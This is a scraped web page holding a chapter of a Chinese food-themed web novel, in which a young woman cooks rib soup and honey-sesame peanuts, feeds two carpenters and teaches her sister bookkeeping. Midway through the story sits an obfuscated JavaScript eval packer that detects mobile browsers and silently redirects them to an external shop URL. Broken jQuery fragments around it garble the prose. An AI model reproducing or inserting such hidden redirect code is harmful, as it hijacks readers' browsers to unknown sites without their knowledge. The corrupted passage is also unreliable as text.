文趣网 > 其他小说 > 欣欣向荣(美食) > 7. 蜂蜜芝麻花生米
    姜昀蓁睡了将近一个时辰,醒来时太阳仍然耀眼,但是已经没有正午那般强烈了。

    她照旧去灶房备菜,并把花生浸泡在清水里。姜昀蓁又去墙角的菜缸里取出沾泥的莲藕,把食材放入刚从井中打出泉水的盆中清洗。

    她准备做一锅花生莲藕排骨汤,为了让汤在煲的过程中锁住猪肉里的蛋白质成分,姜昀蓁往砂锅里添了足量的水。

    莲藕洗净后去皮切块,再把切好的姜片、泡好的花生连同焯好水的排骨一一下锅,小火慢炖。

    姜昀蓁盯着剩下的花生思索再做些什么好。

    不如做些适合当小零食的花生米吧!

    趁着煲汤的时间,姜昀蓁往小铁锅中加入一小勺蜂蜜化开,把炒至焦黄酥皮的花生豆和白芝麻倒入锅中翻匀,再撒点蔗糖继续搅拌,待每粒花生都均匀裹满糖霜后倒入盘子中放凉。

    “好香啊,阿姐,你在做什么?”姜雅莳突然出现,一只手扒着门边,露着自己毛茸茸的小脑袋看她。

    姜昀蓁看着小妹因为睡午觉而翘起的头发觉得很是可爱。

    “过来,阿姐给你扎头发。”姜昀蓁冲姜雅莳招招手,示意她过来。

    姜雅莳还没完全醒过来,嘴巴张得老大,止不住的打哈欠。

    她顶着鸡窝头背对姜昀蓁。

    姜昀蓁熟练地捻起几颗花生豆塞到小妹手中,拿起木梳顺势给她梳头发:“尝尝我做的蜂蜜芝麻花生米怎么样。”

    姜雅莳眼睛还未完全睁开,伸着手迷迷糊糊接过阿姐手里的花生米往嘴里塞:“好好吃,脆脆的,甜甜的。”

    姜昀蓁给她绑好头发,拿了一大把蜂蜜芝麻花生米装入油纸袋里递给姜雅莳:“喏,带着这些出去玩吧,记得给其他人分享,知道了吗?”

    “好……”姜雅莳揉着眼睛,回答姐姐。

    姜昀蓁蹲下拍拍小妹的肩膀,在她耳边轻声说:“我们刚搬来没多久,你去帮阿姐看看附近有什么好玩的,就当是探险了!”

    探险?!

    姜雅莳的瞌睡虫一下子全跑了,姜昀蓁轻推她的背嘱咐道:“去吧,记得饭点回来啊。”

    姜雅莳跑去厢房里翻出有些破旧的靛青淡紫碎花小布包挂在身上。

    小布包是阿姐之前给她缝的,但是姜昀蓁不善女红,尺寸没有把握好,绣出来只有荷包那么小,装不下什么东西,针脚还歪歪扭扭的。

    可姜雅莳喜欢得紧,总是把小布包拿在身边,哪怕只是起个装饰作用。

    但是今天不一样了。

    这不,阿姐给的油纸袋恰好装进小布包里面了,这样又好给大家分享还不占用两只手,可以放开了玩。

    可谓是养包千日,用包一时。[1]

    姜雅莳跳着跑出去撒欢了。

    姜昀蓁去井边淘米,然后蒸上米饭,还在米上放了两片白菜叶盖住。

    等待期间她有些无聊,就去正房搬了个小木凳,坐在灶台边。姜昀蓁双手撑着脸,两眼放空的盯着锅盖上冒出的蒸汽发呆。

    立夏时节,井中泉水发凉,入口清甜,适合煎茶。

    姜昀蓁只是偶然一想,顿时口干舌燥。

    那便说干就干,她又出门去井边打了一大桶水回来,一连喝了好几杯。

    自从搬出来住,家里的水几乎都是姜昀蓁去抬的。起初她一次只能拎半桶回来,现在差不多可以提一整桶了,果然锻炼是有用处的!

    她拿出小铜壶烧水,待听见壶内熟水翻滚,掀开盖子,倒入茶粉煎煮,拿小勺搅拌。

    茶香四溢,姜昀蓁端着茶水去找陈木匠哥俩儿,二人感激地接下,没一会儿便见了茶底。

    她接过两人递来的茶杯,眼睛弯出月牙:“我已煲上了排骨汤,等下还请陈大哥和陈二哥赏光来喝呀!”

    二人同时面上一红,一起开口:“辛苦你了姜小娘子。”

    时间就这样在发呆中慢慢消磨。

    莫约还有一炷香的功夫排骨汤就炖好了,姜昀蓁拿对折好几次的布掀开锅盖,往锅中点了几滴盐,撒了一把葱花。

    “嘶,好烫好烫。”姜昀蓁赶忙把锅盖放到一边。

    大团热气往她脸上扑,姜昀蓁往浅底瓷碟中舀了勺排骨汤,拿了个小勺子尝了一下。

    嗯,味道不咸不淡,刚刚好。

    姜雅莳跑回来后第一件事就是去找姜昀蓁。

    “阿姐,他们都说花生米很是好吃,还问我这是从哪买的。我告诉他们这是我阿姐做的,如果想吃的话就等我们正式开店,店里可以买到。”姜雅莳晃了晃手里的小布包,里面空空如也。

    “小滑头。”姜昀蓁笑着打趣,她转身回厢房拿了几文钱放到姜雅莳的小布包里:

    “拿着,这些铜钱你想拿去怎么花都可以,不过我只会定期给你这些钱,如果提前花完,我是不会再给你的。你可以趁此机会学学如何分配自己手中的银钱。”

    姜雅莳很是欣喜,她把阿姐给的钱当作宝贝似的小心收起来。姜雅莳觉得自己长大了,阿姐把她当作大人了,从今往后她也要认真学习,成为像阿姐那样的人!

    这边姜昀蓁又炒了几盘肉菜和素菜,拿了家里最大的碗盛好花生莲藕排骨汤。

    姜雅莳洗完手后跑去喊陈氏哥俩儿,她站在门口大喊:“开饭啦!香喷喷的饭!”

    “好嘞!”二人暂时停止修缮。

    “那边有刚打好的水,可以去那里洗手。”姜昀蓁一边摆放碗筷,一边和哥俩说。

    “行。”陈大郎洗完手,对姜昀蓁说:“我们修理门框的时候发现你店铺里的地板有些开裂,正好今晚回去,我找一块契合的板子,明日来我帮你安上。”

    陈二郎也急忙说:“姜小娘子,我看这个商铺和院子连着,中间也没有东西隔开之类的,你和小妹一起住,多少有些不安全。等修完店铺,我再帮你安个门吧。”

    姜昀蓁主动为二人盛汤:“真是太谢谢你们了,回头我会把木板钱和做门的钱全部给你们。”

    “哪里哪里,不用多付钱,就当是感谢小娘子做的一大桌菜好了。”陈二郎尝了几个花生米,两眼放光:

    “小娘子手艺不错啊,这个好适合做下酒菜。改日有空,我和兄长一定来店里支持你生意。”

    陈大郎觉得自己弟弟反应太大了,真是没出息。

    陈大郎这样想着,端起碗喝了口排骨汤。

    这……

    这汤里加了什么东西,竟如此好喝?!</

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17748351|209373||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>

    排骨炖的微微软烂,咬下去一口脱骨,嚼着也是十分弹牙。再看这藕,色如白玉,上面还泛着一层油光,分外好看。在嘴里咀嚼,不仅有莲藕的脆甜,还能尝出一股肉味儿。

    陈大郎感觉自己的精神都受到了洗涤,忙碌了一天的劳累全部被冲刷干净。

    他小瞧了对方,没想到姜小娘子年纪轻轻,厨艺竟然这么高超。

    一桌子菜,愣是挑不出一点毛病。

    这一吃直接把陈大郎的胃口打开了,几碗米饭下肚,盘子里的菜一扫而空,连菜汤也被倒入米饭里搅和了。

    饱餐一顿,陈家两兄弟吃的是酣畅淋漓。

    一个字总结下来:妙!

    吃完后二人更加卖力地干活了,姜昀蓁听他们说,最快五日就能完成。

    送别二人,姜昀蓁决定早些休息。因为第二日又要早起备吃食,准备摆摊。

    大相国寺一月开放一次,每次开放三日。所以开放第一日就有许多其他县民或是外地游客来此观光,那些官宦贵族不愿与他们相挤,大部分是第二日———也就是今天和明天来。

    正如姜昀蓁所料,今日的木盒子已经全部赠光了。

    夜晚,姜昀蓁点上灯,和姜雅莳一起在桌上算钱。虽是带着记忆穿过来,可这里的字和做事规则都与现世有很大的差别,她也是从头学起的。

    记得最初父亲邀请叔父姜全影从乡下过来,再到姜全影娶妻。叔叔婶婶都是十分疼爱姜昀蓁的,总是买各种花样的玩具和零食给她,也是非常良善之人。

    可自从搬过来,再到婶母有了身孕,两人变得更加冷漠了,对姜昀蓁是爱搭不理,自生自灭,对姜雅莳就是事事不管,面上看着好看就行。

    一想到小妹被养的面黄肌瘦,她就怨怼自己,为何不早些认清他俩,带小妹离开。

    之前住在叔父家都是婶母管着小妹。

    现在姜雅莳已经十岁,却还未正经读过书籍,她认字的能力全是母亲还在世的时候教她的。

    不过现在姜昀蓁有意无意地培养她管账的能力,同时也会带她读一些比较容易看懂的书。虽然小妹懂事,可总归是要学习知识,明辨是非的。

    姜昀蓁陪在小妹身边数钱,姜雅莳对着账本拨算盘,嘴里不知道在念些什么。

    姜雅莳用毛笔在账本下方写下最终收入:“阿姐,我算完了,你看看对不对?”

    姜昀蓁仔细检查,并未发现什么太大的问题。

    “莳儿真棒,账本列的是清清楚楚,数目也对的上。”姜昀蓁毫不吝啬地夸赞姜雅莳。

    “哼,也不看看是谁教的!”姜雅莳十分高傲的说出夸姜昀蓁的话,两姐妹就这样嘻嘻哈哈的笑着。

    二人洗漱过后一同躺在床上,没过多长时间,姜昀蓁就听见身边传来有规律的呼吸声,原来小妹已经睡着了。

    她躺在床上出神,仔细想着今后的打算。

    明天是开放日最后一天,等开放日结束后,休息一日,然后就去给范小娘子做黄金酥。

    离店铺修好还有些时日,正好姜昀蓁准备做些吃食到私塾附近卖,再问问私塾招收学生的情况。

    就这样想着,姜昀蓁也不知自己何时进入了梦乡。